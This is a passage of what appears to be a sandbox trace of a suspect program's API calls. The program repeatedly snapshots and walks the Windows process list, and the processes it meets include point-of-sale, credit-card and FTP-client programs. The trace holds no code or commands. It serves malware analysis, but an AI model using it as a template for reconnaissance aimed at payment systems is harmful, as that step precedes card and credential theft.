szExeFile="webdrive.exe")) returned 1 [0107.887] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0107.890] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0107.893] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0107.943] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0107.946] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0107.949] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0107.951] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0107.954] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0107.957] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0107.959] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0107.962] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0107.964] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0107.966] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0107.969] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0107.971] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0107.974] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0107.976] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0107.979] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0107.981] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0107.983] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0107.985] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0108.057] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0108.060] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0108.063] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0108.066] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.069] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.071] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0108.074] CloseHandle (hObject=0x16e4) returned 1 [0108.074] Sleep (dwMilliseconds=0x64) [0108.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1970 [0108.191] Process32First (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.193] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.195] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.197] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.199] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.201] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.203] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.205] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.209] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.211] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.213] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.214] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.216] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.218] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.220] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.225] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.227] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.228] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.230] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.232] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.234] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.236] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.238] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.240] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.242] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.244] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.246] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.247] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.249] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.251] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.254] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0108.256] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.258] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0108.260] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0108.261] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0108.263] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0108.265] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0108.267] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0108.271] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0108.273] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0108.275] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0108.277] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0108.279] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0108.281] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0108.283] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0108.555] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0108.558] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0108.560] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0108.562] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0108.564] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0108.566] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0108.568] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0108.570] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0108.572] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0108.574] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0108.576] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0108.578] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 